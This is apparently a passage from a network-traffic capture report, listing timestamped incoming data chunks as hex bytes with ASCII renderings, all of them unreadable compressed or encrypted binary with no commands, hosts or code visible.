04 8b e5 b9 da 3f a4 81 95 c6 fd 8a 3d 3e d5 14 4f 9f a7 d8 5e cd e3 a8 62 61 81 de ff c3 f5 b5 61 a8 4a 1d 44 22 59 c1 c8 
e8 d9 f4 88 0f a4 5d 05 ce 12 ff 59 75 f1 c8 d2 8a 4e 58 91 d2 67 4a 00 3b 9b 45 39 b3 94 20 35 57 6c b7 9e 26 92 f7 96 
bb 9a 2a 9d df c9 60 38 4e 5d 5d 5d c9 24 2e c1 e3 0d b8 76 
Data Ascii: l:cs6&Sk,csJ|.A``s,<DIuf5!RXt4y=2E6(JF3ka)RSI+[4BK^")Q"Jf>n([6*Mt?=>O^baaJD"Y]YuNXgJ;E9 5Wl&*`8N]]
]$.v

Timestamp
kBytes
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2022-01-13 21:05:25 UTC 1100 IN Data Raw: f1 fb ae 55 2c 4a d3 3f 1c 0a d1 8c 67 0d 05 f5 30 6c 95 6d 05 b4 69 63 7e 89 af e2 2a 07 0f 3f 9e 51 7a c5 ce 
d0 c4 2a 58 86 e3 d7 15 69 cb e0 0f d6 e1 10 d6 98 3f 93 dc fe 9b 19 13 c9 cc 2a 52 06 7a 74 d2 5a a1 b5 66 aa e8 c8 5f 
a5 0f 0f 09 3b ee f5 c0 5f 4a 78 f7 f7 25 d1 c3 11 ff 4a ac c1 70 32 c9 d2 a1 14 dd af a3 9c 25 fa cb c5 94 58 f1 d4 f8 3f 27 
24 df 4d af cf 1b 4a 06 8f 7f b2 87 fb cd 6e c2 16 c2 0a b8 1d eb 23 78 94 da 2b 97 75 65 7d a9 1f 4d 08 27 62 95 9a ba d6 
0d 6f 2c 18 1b ce bf 39 18 b9 7e 03 92 7e e6 d7 59 32 8c c6 2f 98 1f 99 7d 9c 41 3a 99 3d 3c 5c 64 c1 c1 61 c6 56 4f 92 eb 
69 8d 8c 14 3f 22 34 39 22 64 82 a8 a5 3f 18 99 4b 34 66 00 fb 80 48 af 46 c4 37 ae 49 38 82 bd a2 54 27 59 fc ce 45 66 
f4 f9 5a 35 6c 3b f4 bc 31 9f 25 72 03 32 
Data Ascii: U,J?g0lmic~*?Qz*Xi?*RztZf_;_Jx%Jp2%X?'$MJn#x+ue}M'bo,9~~Y2/}A:=<\daVOi?"49"d?K4fHF7I8T'Y
EfZ5l;1%r2

2022-01-13 21:05:25 UTC 1102 IN Data Raw: 2b 4a aa 26 c9 95 4d f1 11 90 98 30 93 10 24 1b 1c b6 74 33 30 84 3e b5 fc d2 2d ea cf 06 b8 fb 27 c0 53 39 b6 
39 02 87 bb 5e 8b 45 58 74 cc 4a 85 03 b7 a8 f9 87 ff 4e 0b 35 57 3e 18 b0 ea 8d 8d 63 89 cd 41 5c d3 22 d7 f1 2c cd f3 
14 7b 7c 4c ad 9e d6 5a 8d 1b 26 29 e2 86 71 f3 6c 09 d0 a5 66 17 0a 04 58 ea 8f 03 6b d0 ba 81 b0 25 19 13 da a2 63 6f 
1d 18 2a 4d 5d e9 5f 88 d0 89 42 56 c2 53 23 ca 6d ab f4 05 a1 3a c6 df 34 de e0 43 88 ef 5f 96 04 77 8d d2 10 ee 5f 67 
ab 57 aa f9 aa 27 1c ba f9 66 03 c6 31 64 69 65 f9 c8 cc 8e 92 7c cb 8c b8 f4 59 cd 8e 96 84 94 12 68 b9 68 2b aa ae a1 
db 07 eb a0 14 be 08 f2 a5 52 0e 4e 8c da eb 4d bb 3a 2a bf 47 8b d7 4d 2b 14 d7 0a eb 06 c4 04 1c 5a 67 a1 8f f9 74 62 
c4 c1 9a f7 83 13 81 00 7c b5 03 b5 88 33 23 1e aa 91 
Data Ascii: +J&M0$t30>-'S99^EXtJN5W>cA\",{|LZ&)qlfXk%co*M]_BVS#m:4C_w_gW'f1die|Yhh+RNM:*GM+Zgtb|3#

2022-01-13 21:05:25 UTC 1103 IN Data Raw: fc e4 51 05 7f c5 99 38 a9 ab eb 80 d7 81 19 16 dd 85 e4 40 5c a0 e0 c2 f3 17 70 b2 87 87 87 88 3a d7 1e 7e 
8a c2 03 ba 16 45 a7 08 6b 6e e8 b9 62 33 a8 b1 16 4e 1b fb df 77 ae 71 ae 39 91 22 d5 80 28 ab 5c bc b6 74 72 07 78 7a 
27 11 01 cf 99 f6 86 75 9d e1 90 ed 90 81 ca d1 23 06 08 bf 5a d3 8c ef 87 29 84 22 31 02 9d 27 82 c2 1a 92 24 ba 8e 92 
e1 82 0e a4 cc e6 d1 79 75 f4 e9 b7 7f 1c bd fc 70 4a 54 06 e5 e4 50 21 45 e1 9c 69 e0 07 27 70 4f 5c 68 4d bc 93 91 d8 
4a 73 35 3e ac 37 a9 e5 bf 09 55 27 b4 35 e1 56 46 d9 1d 86 15 40 0a 5e f3 ec 46 0f 0f 7d 82 c4 91 94 29 fb 3f 8d 09 1b 
62 63 a4 b1 c3 e5 dc 78 d6 39 94 02 7e 8d 57 7f ac f3 98 3b af 30 58 d4 73 e9 53 89 4e b5 59 e5 7f d2 66 1c 4a b0 28 08 
ff 5e 7b fc b8 60 d8 a0 ad f4 82 1c 3b 2a f8 8b 3a 0a 68 
Data Ascii: Q8@\p:~Eknb3Nwq9"(\trxz'u#Z)"1'$yupJTP!Ei'pO\hMJs5>7U'5VF@^F})?bcx9~W;0XsSNYfJ(^{`;*:h

2022-01-13 21:05:25 UTC 1104 IN Data Raw: 98 17 c7 0a 00 ff b0 b1 53 d3 d8 e9 5a 69 a0 74 63 12 6a 4d 06 94 3f dd e4 b1 69 f2 58 36 b9 0c 0f d4 24 a7 85 
94 a3 e7 ef 17 8d 42 e8 46 76 2c 77 69 1a 5b 2a 0d 94 59 31 42 60 28 6b 68 d2 b7 46 b6 d9 f0 99 69 58 a9 2e 66 68 b8 
25 5b 9e 4b 0b ee 7f b3 e9 99 69 7a 56 b3 8e d8 14 73 58 2c b2 d9 35 33 86 cd 04 d4 79 a2 11 91 d2 d1 e1 15 67 b0 92 
e9 22 8c e3 b1 a8 25 96 98 27 fc 8f 0a 71 c4 cf 27 73 09 84 84 d2 86 1b 49 25 32 51 88 5f 22 f1 52 bc 15 ef c4 17 0b e1 af 
94 ce 0e 78 66 77 f7 85 0e 78 ff 18 a9 d0 0a c1 bc 70 d1 4f 06 05 89 fc 4b 2f 78 d9 90 9b 42 bb 12 44 24 f1 c6 e1 47 e3 4b 
10 1d c6 41 bb 1d b1 66 f8 63 44 fc aa d1 0b af 98 ba d1 df b5 e9 69 5d 6a 99 5f 44 ed b6 25 78 9c 58 ce e5 f7 9b a9 e9 
a1 7e 53 1e a6 fb 2a 31 4e 99 9d fe 30 e5 c0 76 65 d4 
Data Ascii: SZitcjM?iX6$BFv,wi[*Y1B`(khFiX.fh%[KizVsX,53yg"%'q'sI%2Q_"RxfwxpOK/xBD$GKAfcDi]j_D%xX~S*1N0ve

2022-01-13 21:05:25 UTC 1106 IN Data Raw: 23 c6 8d df 7f a4 96 e5 3c aa e1 52 b4 7e 57 a3 5e 38 c6 51 99 d0 c9 6f 70 6d f5 e0 da 1a 16 82 83 af 46 52 90 
1e b1 bf 46 a0 2e 7f 20 56 84 a8 80 dc 9d 91 70 8e 78 67 c4 a9 b8 f3 d6 c4 5f 5f 2f 39 10 03 97 65 0d 86 69 9a 15 32 9f 6f 
35 14 94 2f d8 f2 36 83 32 91 6c d0 44 a0 09 c4 b2 cb d0 80 ed b7 fa 18 f7 d9 31 81 b0 23 ab 9a 9e cb 9b 19 fa 74 a0 21 3f
d0 81 f6 64 92 02 bc 76 c0 6f f4 25 ea 88 88 3e 72 c2 00 3a c6 1e af 4c 04 7f 76 a1 27 71 22 c1 4b cf f6 3d 7d fe 1e 1a 2a 
b4 ac 96 57 65 4e 6d 47 96 ee 36 b0 d2 37 5d 46 fe 2d 5a 8b 4a dc 52 f9 fe 77 ff 82 48 c9 3f ad 43 b1 8e e5 4d 54 b3 a8 
c9 13 c6 2e 69 54 8e 39 49 fa 2a f3 81 dd 0d 87 4e 2b 9d 24 0e 0c 00 48 6e d0 40 38 af ac b9 0d 30 37 68 e8 11 f4 aa 98 
ea a4 c2 54 ff ab 8a 9f 91 2b 32 e4 a0 b6 f8 
Data Ascii: #<R~W^8QopmFRF. Vpxg__/9ei2o5/62lD1#t!?dvo%>r:Lv'q"K=}*WeNmG67]F-ZJRwH?CMT.iT9I*N+$Hn@80
7hT+2

2022-01-13 21:05:25 UTC 1107 IN Data Raw: 41 d4 6d 41 93 39 f6 68 89 67 9e ff 68 31 2e e3 49 cd cc 2c 38 0b 65 42 61 96 a7 56 18 ef 4c 4b ad fc bb 32 82 
f2 11 09 67 67 96 1a 88 70 1d 26 bd 18 83 db 67 70 09 69 99 0e 82 15 02 15 6f a0 58 44 ae 97 55 54 ad b2 8a 64 9d 87 
87 55 64 f5 8a 62 76 b7 d6 33 b5 3e e2 d8 1e 5e ae 35 f6 6b 7f bd 5d 19 26 90 8a ed 98 e3 de 85 77 0f 0f d0 66 60 49 fe 
dd 69 9f b5 9d 7f df b2 4d 4f 77 57 67 3d b9 72 f8 45 8b a7 b7 a1 1c 2c 46 ff 09 0a ad 99 1e 31 ef 83 2e 30 e7 18 a1 a5 6c 
64 49 2d 08 47 c1 18 e4 dc 1b ef 
Data Ascii: AmA9hgh1.I,8eBaVLK2ggp&gpioXDUTdUdbv3>^5k]&wf`IiMOwWg=rE,F1.0ldI-G

2022-01-13 21:05:25 UTC 1107 IN Data Raw: 17 8c 53 ac c2 72 bf c5 db f0 78 03 1a c1 80 c8 a4 75 27 d2 2e e8 9e 89 94 86 e4 81 f9 3f 86 c0 f1 25 72 fb 26 
84 e1 ad d8 c7 75 b1 e2 2d 64 cf 27 4f 4a 15 55 c8 6f ca 67 82 6e 12 43 46 11 c1 39 63 91 9d 9d 9c 37 5d dc 3f 7a ac fc 
e5 da 2b 5d c9 2e d9 8d 87 83 fa 6f 68 0b de 86 ad 2b 09 f9 ab 84 f5 44 cf 94 ab da 4d 23 91 94 de 5e b6 93 16 09 18 5d 
db f3 e9 00 2a fc 55 22 7d 32 2f 61 94 67 f5 d1 33 0e 20 66 e2 78 cc 7b 0a e1 c6 f5 1a e8 24 d5 25 09 57 46 4f f5 82 b8 eb 
72 55 5a 73 6e ec 92 53 19 93 d0 7a 69 5c 4b 10 f3 fd d6 4a af 7e ed 3e ab 8d bd 2e b0 12 66 95 3c 37 f2 63 97 2a a7 82 
93 ce 5d 7a 97 57 45 0c b7 35 fe 57 2d 37 ff e6 60 60 e6 51 de d2 16 cf 12 be 35 af 9c 0c f1 c1 fa 4e 1b 7b 97 14 b9 50 ff 
dc 57 4c 46 7e 5d cc 91 82 8f 46 c2 34 b8 77 46 
Data Ascii: Srxu'.?%r&u-d'OJUognCF9c7]?z+].oh+DM#^]*U"}2/ag3 fx{$%WFOrUZsnSzi\KJ~>.f<7c*]zWE5W-7``Q5
N{PWLF~]F4wF

2022-01-13 21:05:25 UTC 1108 IN Data Raw: c8 07 37 45 09 dd 55 b9 24 53 6d 05 b1 6c 20 12 39 10 c1 58 89 09 89 c3 70 5a a3 e3 15 e9 9c 43 74 c2 e8 8c 
9e 88 7b db b5 5a 86 ab 95 68 97 9f 15 db 26 1f 1a 18 19 ff 64 0d a1 fc c8 3d a9 70 83 dd ca 23 87 42 f8 95 57 e2 2e 3c 
d9 e4 9b 83 d8 08 0c 99 fb d2 eb 2c 06 99 15 50 09 65 1d b8 f2 84 4f cc 49 c9 98 27 86 29 4f 34 53 7e 27 f3 dc 32 0b 2e 
79 06 24 85 e0 50 21 89 be 6c 3e 3c fb 06 1f 7e 22 51 d2 4b 64 2a b2 18 70 66 cc 63 7d a7 c8 29 d8 f1 0c ec 78 02 a4 70 
62 30 12 d1 8a 53 99 a8 35 3c d5 1c 76 a4 38 ec 44 89 4e c4 73 d1 01 60 c6 ba 92 b4 87 64 f5 55 c8 26 2e 40 59 4e bd 9d
a8 ed 25 30 eb d7 e2 37 22 75 7b 7d 1f 81 35 d8 6e 4f c9 71 13 38 02 e2 85 ad b0 cb e9 98 9b d8 7f 5a be 42 03 86 f2 07 
ae 3e 1f 97 cf 08 1b 36 df 4e a5 33 a4 46 e9 a9 0e e3 65 
Data Ascii: 7EU$Sml 9XpZCt{Zh&d=p#BW.<,PeOI')O4S~'2.y$P!l><~"QKd*pfc})xpb0S5<v8DNs`dU&.@YN%07"u{}5nO
q8ZB>6N3Fe

2022-01-13 21:05:25 UTC 1110 IN Data Raw: 33 a0 76 d2 75 fe cb f1 69 0a fa 9a 77 62 2b 21 b0 cd a1 6b ea cb b8 1f 91 e2 e0 24 57 ab 9e f1 95 02 2b a0 71 
4b 2d 5d 95 ba 55 ea e1 e1 1d e3 dd dc 1d d0 56 a0 05 d5 4e 24 63 36 2d cc b4 32 98 49 05 21 2c b8 b3 e0 dc 5d 78 5d 
ae 13 d3 2f 84 8b 50 93 0b 19 fe 49 2f e1 45 8f 7f d5 42 7e 4d 64 2f da 41 ac ea ae e9 84 8e 0f 5e de 9e 26 8f 75 a2 0c b8 
f6 84 03 6b ae e0 f2 26 04 0d 78 a5 8a 62 88 27 21 89 6c 78 a5 dc ac 4e 3a e3 21 a1 e1 68 dc bd 89 fc 41 a2 04 a7 93 4e 
c4 11 91 95 88 d7 45 c8 c3 3f 71 cd f5 d4 92 0e 15 b2 ac 23 d0 2e c9 b6 2d 3d 9a 75 60 57 99 54 12 19 e1 3a 24 9e 36 ed 
19 7e d3 8a 9d e2 6c 70 05 cf 97 ab 57 46 60 87 f1 3a 98 74 9e 70 9e a1 fe 12 5a 73 da 4a 12 d5 4d d6 87 ae e6 cc 4e cc 
2b 9e a7 98 20 85 ab 22 1a e6 95 8c 81 30 73 7f 6c ed 
Data Ascii: 3vuiwb+!k$W+qK-]UVN$c6-2I!,]x]/PI/EB~Md/A^&uk&xb'!lxN:!hANE?q#.-=u`WT:$6~lpWF`:tpZsJMN+ "0sl

2022-01-13 21:05:25 UTC 1111 IN Data Raw: ae 42 60 ab c9 a0 57 86 3a f5 4b 36 78 67 e7 bc bc 62 5a 26 9d 36 d9 a1 e7 a9 b9 a6 d7 8c f7 ea 7b 0b 70 06 
7d 2b eb 1f 71 92 3a 9b 0b 61 c7 26 ee b5 e9 ba 84 40 25 75 94 17 97 db a9 78 13 be 61 20 16 56 ca 3b 07 06 29 42 29 6f 
a4 56 4a de 5b a2 d3 fb 8c c7 d3 d5 f3 f1 34 8e c6 56 e7 c8 c1 bf bd ff 8d cc 28 3a 97 a8 65 67 ad e5 a6 b6 dc 76 70 2b 36 
2e bd ef 48 8c e0 d9 09 38 ad 41 72 d8 0f b2 f6 71 52 02 5d 1a 83 6d 25 eb 3a 4d c8 a5 6b 84 72 35 09 06 f2 f2 88 41 30 
c2 ce 8c 64 e4 ea 48 c5 45 e6 f0 4a 20 ea 2e 1d 86 e6 a9 74 41 d0 17 a0 2c 52 76 bb 19 f7 27 0b 4e 59 2b 13 02 20 1c 35 
60 07 f1 11 dc 86 a0 68 ab ed c2 04 17 6f 4c 7a 7e 9a 42 a3 28 7d 02 26 e0 25 90 db ae 9b 42 dd c5 8f be d6 06 d8 29 0a 
75 a7 b4 83 0e e2 4a bf c6 34 23 2e 0e 69 6e 00 bf 0d 
Data Ascii: B`W:K6xgbZ&6{p}+q:a&@%uxa V;)B)oVJ[4V(:egvp+6.H8ArqR]m%:Mkr5A0dHEJ .tA,Rv'NY+ 5`hoLz~B(}
&%B)uJ4#.in

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1112 IN Data Raw: 7e d7 3d 3d dd df 3f 84 1e f3 fb fd fd 9f a2 6e ec 23 9f 0d 96 1d 62 14 f0 fa f3 32 8d 36 24 12 ec 2a 64 11 ce 09 
fc 85 c3 a1 64 12 d7 42 a6 ca b9 40 06 db e5 6c ec 7d b3 12 97 50 a9 f5 68 52 93 6c 31 98 a6 be c3 37 b7 6e 20 90 a8 53 
7f 25 36 71 4f b4 39 db 8d c3 c5 9e 4c f6 9b a6 73 15 75 36 5f ae 65 ce 63 b5 c4 15 21 54 6b aa f4 f2 67 72 93 62 fd c2 83 
2d 3a 48 d4 45 09 1d 89 82 44 42 58 3d ee c8 69 7b 3d 4f e9 15 38 d3 52 a2 5d 18 5e 23 2f 0d 7b 31 e0 35 c7 6e bd 26 91 
07 1e 3b 03 5b 87 c0 09 99 12 24 7b d4 b0 43 30 3b 03 a0 79 6b 97 c7 2d fb 21 51 c8 d5 bf f1 b6 b6 16 21 09 82 f5 77 5e 
57 5e eb ba f9 c1 df 78 15 64 df bc ce 47 79 8f a9 04 6c 1c f5 05 48 9b 4f c7 37 24 e5 80 2c cd 2a 34 de 95 b1 f5 54 1d a9 
d6 d5 cf 53 b0 dd 1e 12 18 6a 0f 50 f3 49 d4 
Data Ascii: ~==?n#b26$*ddB@l}PhRl17n S%6qO9Lsu6_ec!Tkgrb-:HEDBX=i{=O8R]^#/{15n&;[${C0;yk-!Q!w^W^xdGy
lHO7$,*4TSjPI

2022-01-13 21:05:25 UTC 1113 IN Data Raw: c3 7c 96 c0 e5 a7 13 b1 16 61 7b 3f c8 2b aa 84 be e2 67 18 85 bd 84 42 a0 20 22 e7 00 ab b1 8d e8 91 ef ac 
35 e7 02 59 27 9e a6 77 f5 5c ba 32 bd a1 92 13 76 0f 48 4e 70 96 c5 a8 98 ae 0a 07 49 95 54 07 f2 e6 26 36 5f 12 02 8e 
e6 d8 8d 2c 95 57 fe 44 e1 3d be f8 aa 2b be 91 4e 16 16 83 50 bd 0c 75 fd ee 0f fb 3f f8 44 74 58 9b 97 ba 30 97 ad 31 e7 
34 7d 7c 5e 9b 1f 37 26 65 7b 62 f7 cb 68 f1 0d 13 5d 56 ea 2f c4 42 9c 8a 63 b1 b4 36 9b 59 e1 13 da 1c 49 6b 38 08 3f 
0a 88 e7 fc e2 f2 e5 97 d4 4f 8c 3c a1 55 be 4c e8 b0 68 04 9f bb 2b 08 0e ea c2 44 7a 08 be 84 ea 4e da 32 7c 3a f7 d6 
83 70 00 ea c7 97 c3 b2 47 95 c5 18 65 9e 27 51 55 a2 8d fe 0a f4 dd 81 27 be 84 f0 63 bc 68 48 fa 92 86 b4 ac d2 3d 8a 
6f 8d d6 12 b9 7b 41 eb e1 8e 99 87 c6 5d 9e 36 99 0f 
Data Ascii: |a{?+gB "5Y'w\2vHNpIT&6_,WD=+NPu?DtX014}|^7&e{bh]V/Bc6YIk8?O<ULh+DzN2|:pGe'QU'chH=o{A]6

2022-01-13 21:05:25 UTC 1115 IN Data Raw: a1 b7 f7 7a 2d a1 f7 7e 1d e4 df b8 b2 3c e2 ac ab 56 13 b8 a5 19 37 b3 5c 55 5f f7 f4 e2 c8 3c a3 0b 38 96 73 
b4 ee 66 41 65 bd 73 64 a7 59 ea 20 0b 6f 65 37 dc e8 b1 39 d7 da d2 b7 a6 97 32 8c 05 b3 cf 12 9d 1e 40 a9 92 f6 ac bc 
49 96 6f 2a 3b a1 b2 4f e5 20 66 bc 56 1e ad 7f 7b 7a 46 87 0b 15 4b 7d 8f c2 6b f4 ce ba 96 2c d5 01 fb 03 0e 6a 47 42 04
cd 2b 23 3d 81 fa c9 ef 07 d3 39 2e 49 c7 3f 9c d8 94 cb 82 4d 65 ee 84 96 00 0a 1e 7a 16 07 f0 44 bc c3 9c 75 fd 5e 3d 
a1 d7 57 e5 4e c1 88 f9 6b 5f 7a c2 98 f8 f0 2f 52 6f 75 8d dc 00 fa 52 f4 24 a4 91 6f 57 b3 5d ca 94 fa 0e a2 ff 61 7f 95 53 
80 c3 cd ce 0e bd 64 69 14 6d 60 b4 65 ad 6e cb 7a 5b cd 94 69 de 7b 4d 2b 6f 25 11 ca b0 f2 1c e3 9d 66 c9 34 cd 3e bc 
3b 37 57 21 72 ec 37 ed 3c 5f 00 a1 72 e6 58 
Data Ascii: z-~<V7\U_<8sfAesdY oe792@Io*;O fV{zFK}k,jGB+#=9.I?MezDu^=WNk_z/RouR$oW]aSdim`enz[i{M+o%f
4>;7W!r7<_rX

2022-01-13 21:05:25 UTC 1116 IN Data Raw: 88 88 fd fc 3b b7 34 5e 3e 4c a2 e1 78 31 f5 fc bd 21 51 76 84 0f 25 84 fa 47 d5 a0 1e 95 4f aa 0a e7 f0 4a 90 
9e 34 8b d9 f8 97 ec 8e 7f 4f b2 45 a4 7f b3 59 9f 1f 9e b2 84 b7 1a 0c 93 81 7e 88 97 8b c5 b4 28 35 7c 39 e2 34 3b 0b 
22 64 d9 c2 0b 9c 48 dd 92 cc 01 f5 ac 22 c5 2f 4e ac 4d ff 3e 3c 6c 33 67 a2 d3 e2 79 25 15 53 6c 7b 8a 4b 5c 89 15 92 
41 f1 88 6c b8 4f 51 01 19 18 64 de 03 9d 76 40 15 51 2f 11 2b 26 9f 39 21 82 af 8a 3e 67 e7 43 e3 42 7f f9 8f e7 47 f2 a6 
f5 54 06 25 f5 64 14 e8 62 aa 63 94 38 e6 80 24 d7 d4 5c a9 d8 41 53 5e 70 a6 c3 43 68 7c 69 d9 9b 9c 38 fa 27 89 69 fe 
4c da f0 09 b3 c2 56 93 a5 2e 4a 6f ec 74 2a 46 6c c2 e5 58 61 2a a7 6a b9 38 71 fa a8 30 a3 c9 07 41 26 ed 55 da 18 31 
a0 71 e5 cb 71 34 bb 72 fa fd dd 1f ff fe c3 d3 fd 
Data Ascii: ;4^>Lx1!Qv%GOJ4OEY~(5|94;"dH"/NM><l3gy%Sl{K\AlOQdv@Q/+&9!>gCBGT%dbc8$\AS^pCh|i8'iLV.Jot*
FlXa*j8q0A&U1qq4r

2022-01-13 21:05:25 UTC 1117 IN Data Raw: c6 06 65 17 2d 8e 32 80 f1 f6 01 54 aa dc 20 bd 30 cd 89 8d e6 f0 55 37 f6 e7 27 cc 17 12 94 d3 7d f4 64 ea 5d 
6b 19 7c 48 10 fd 68 4d 61 d7 b4 d4 49 a7 a9 52 23 4a 6e 55 7b 15 45 9c 45 c5 22 64 26 19 94 26 12 9a ac b3 59 55 65 
96 8a 7d e4 64 06 19 a7 9f 2a 2f aa 65 70 4c 2b 16 ca 85 cc 07 65 a3 21 9c 79 f3 ba 8e 69 2c cb 52 75 cc ec 0f ad 7d a6 
d0 09 bf a9 0e 5f 2b 48 a5 e3 76 f3 f1 12 38 33 7e 53 6d c1 87 c7 d7 95 5f 3f e7 ac 55 1c 49 95 11 3e 59 0b cd b4 f8 0e fc 
22 cd 40 5f f0 40 a5 5c 21 51 4f 68 31 e3 e7 df fc fa 36 ae 58 31 48 68 63 3d d6 17 c9 b8 e8 77 27 32 df 3b 6e 51 ea 24 f3 
eb 2e 8a 9c c3 4d dd c7 af 17 f8 65 0d c7 4e 15 73 a4 4f c8 45 1f b1 57 da 81 d0 f3 cf 74 0a 2e ab e6 f3 52 ce 42 f6 8c 38 
bc 77 16 b3 65 e6 40 09 ee f4 09 ec f0 f3 40 38 
Data Ascii: e-2T 0U7'}d]k|HhMaIR#JnU{EE"d&&YUe}d*/epL+e!yi,Ru}_+Hv83~Sm_?UI>Y"@_@\!QOh16X1Hhc=w'2;nQ
$.MeNsOEWt.RB8we@@8

2022-01-13 21:05:25 UTC 1118 IN Data Raw: da 41 60 be ab 2b 37 4c 7c 89 64 0b f7 d9 24 a7 b3 21 1f 0e 82 76 3b 87 9f 84 b5 91 e3 30 bb ca 7b 60 0c 65 
da 56 7e d2 73 ef 71 7b 47 6e e1 75 47 ee 58 10 c9 51 4b ea f9 32 dd 85 8a b5 c4 47 fd c9 9f 58 0f ca 97 e3 2d c0 78 2c 
de 7a e2 ad ba c2 fb 2d db c7 e6 f3 f7 d3 d3 da d9 07 b5 7f cb 3b 24 33 dd dc ef ee 5e c0 5d 5a ad 3e d6 7b 8d e0 75 13 8f
2f 99 2d c0 a7 76 d1 d7 1b 27 6f 05 e9 82 58 cf 5c e7 4b 72 97 8c 39 ed b7 e7 4b 8f 91 3a e3 53 39 e5 78 62 71 06 17 36 
d7 8b a7 95 cf 45 fd 73 66 1d 4c 29 1e 21 4b 1c 2d 25 7b 1e c5 9c 00 34 f6 94 7b a6 cc 2c 42 9c 4e 0e 34 54 9b 04 a2 b1 
73 29 7c 6a 7e d2 f3 ad 52 37 32 85 b7 d8 a8 77 20 06 65 31 4f 6f c4 3b 12 12 e9 cf ba c6 17 35 2d 9e 9c d4 06 cb b3 d1 
75 b0 d1 f5 d3 c0 ee da f2 e7 76 2d f6 2b 29 03 2a 14 
Data Ascii: A`+7L|d$!v;0{`eV~sq{GnuGXQK2GX-x,z-;$3^]Z>{u/-v'oX\Kr9K:S9xbq6EsfL)!K-%{4{,BN4Ts)|j~R72w e1Oo;5-uv
-+)*

2022-01-13 21:05:25 UTC 1120 IN Data Raw: 73 80 97 06 28 28 25 68 49 f6 3c b7 62 63 8c 4d 5a 8f 97 e0 8e 70 7f 83 b0 4f 46 d4 21 32 7f 9d d8 3f c3 31 1d 
14 e5 a8 8a 96 2d 7d 60 0b 2d ac 6f a0 88 f1 21 07 49 1b c3 b4 e7 ab 1f a3 cb f6 67 7e 2c 50 fb df 7f 2f 00 79 b3 ab 08 1f 
cf 7c 91 bd f7 e1 3c df 06 7c 48 04 63 98 1c bb 3c 39 0a 46 a4 40 47 06 dd 6c 93 0d 01 b0 a2 e8 88 41 b9 d9 a3 70 a1 e5 
5c 40 ca ad 18 d2 ca 33 9e e5 4b 19 06 ca 9e 20 2d 4d fa b2 2b 77 28 a0 72 11 1d 57 d5 88 2e 83 cb a9 8d 86 17 d4 b8 0f 
5b 35 ee e4 cd a2 40 37 5b 72 bb 21 e2 b7 71 07 3a bc df 16 28 26 c7 b0 16 c8 44 65 38 aa cc ab a7 d2 59 87 be f8 d7 ee 
3b f2 94 3e 8e 11 63 61 81 75 c2 0c b0 b9 e9 7e 64 5d bb 51 84 d6 c1 0e 85 e4 09 4a 3a 18 84 ca c8 29 13 3c fc b7 45 35 
04 93 0f 90 17 18 14 dc c5 ba 3c c1 3b 01 34 73 88 
Data Ascii: s((%hI<bcMZpOF!2?1-}`-o!Ig~,P/y|<|Hc<9F@GlAp\@3K -M+w(rW.[5@7[r!q:(&De8Y;>cau~d]QJ:)<E5<;4s

2022-01-13 21:05:25 UTC 1121 IN Data Raw: c3 2e 01 ad 1d 9f 91 ab 30 4f 5f 80 da a8 6a 9b db c7 0f e0 8f ce 45 d5 18 dd 28 58 d1 63 5e b2 9a 57 30 15 47 
ae 20 3b 4d 72 38 98 e0 25 6a 21 42 cf be 3a e2 33 f3 b3 4f 09 e7 95 c8 f5 bc 94 b9 06 50 b3 3e c9 e5 01 66 7a 98 d0 21 
98 47 94 ce a9 46 20 5e f6 d2 d2 be e7 90 df 15 c9 61 ad e5 89 aa 0f c0 9c f2 71 90 86 5a ba c0 ed b0 54 6e 07 c3 8a 42 
01 ed 36 53 46 c5 a0 68 70 2a 36 4c da 13 a7 40 fb b5 05 b9 0d 85 95 39 1d ad 2a 87 03 e8 5a 45 07 23 b1 da 0f 6f f1 34 
f7 23 c1 76 db 24 f8 00 06 6d b9 9a 5f 63 3c d7 68 10 d9 8c 10 f2 3d 78 72 d8 16 d6 e6 f7 7e c9 3e 95 0a 14 13 51 a1 14 
58 d7 7e ec 76 fb bd dc 50 0f 98 76 31 56 a4 e2 24 4c 0b 53 04 5c 05 70 6f a6 00 17 d8 1c a6 d8 99 6d 19 e7 74 da ec 78 
4c 7a 9d 48 f3 75 67 3d 3a 55 f1 c1 74 7e 38 54 cb 74 
Data Ascii: .0O_jE(Xc^W0G ;Mr8%j!B:3OP>fz!GF ^aqZTnB6SFhp*6L@9*ZE#o4#v$m_c<h=xr~>QX~vPv1V$LS\pomtxLz
Hug=:Ut~8Tt

2022-01-13 21:05:25 UTC 1122 IN Data Raw: 70 f5 f7 3c 60 eb 7a 10 b1 69 07 d8 79 f3 77 fb bf 36 f2 55 b8 bf b6 dc 5b e7 59 45 6c 0b aa ad af de 6e c7 d7 
e4 c0 f9 96 fd 72 e5 ee fd a2 a0 46 3a 22 31 fa 41 5e 9d ac 80 a2 88 d7 ab 4c 3a e2 02 8e 4c 00 dd 13 49 af 59 3b 33 e9 
a3 05 de 7d 99 5d 28 ff d4 98 a0 43 c4 18 cf 39 56 f2 a5 ae ba e3 08 74 80 4d 35 c0 af 60 77 93 7e ac 7c 34 77 f4 53 5e f6 
cf ab 4e 5e 38 5a 52 6e 72 4a 29 7f 8d 9c ff b0 5a 21 16 25 ce 5d 6e 0b d4 96 22 58 d1 cd b6 72 56 ed b3 af eb b8 d2 d9 
b5 91 ea 93 af e7 fc dd a0 b2 96 46 24 e4 ee 2f 30 d7 da 19 05 1a ed 0c 8d c8 e9 96 72 91 f4 b8 9d 7b 7a 06 f2 c7 7d 91 
36 f1 c0 50 0a 8f a6 2a f2 8b a2 b7 71 fc 35 42 ea e9 71 c7 ee e8 97 c3 c3 1a 0f 01 a5 e2 83 e1 4f d3 46 39 93 c8 7d 62 
e8 62 bc 4c 0b 52 0f 29 9c 51 e8 b3 c2 89 b6 da c7 
Data Ascii: p<`ziyw6U[YElnrF:"1A^L:LIY;3}](C9VtM5`w~|4wS^N^8ZRnrJ)Z!%]n"XrVF$/0r{z}6P*q5BqOF9}bbLR)Q

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1124 IN Data Raw: fc 34 e8 e7 ba 45 7d 0a 01 d6 ef 85 ad 5c b1 68 10 ea d2 2d 6c 11 aa 08 db 42 15 c9 3f 62 8f 63 9c 53 d2 f5 03 
96 2c 6c 43 d5 a9 51 27 c2 f5 c3 31 ac 03 84 ef 21 0e d5 ad 9a d9 e4 61 1a 24 8d 86 97 69 85 ce 16 b5 54 af 07 79 52 1b 
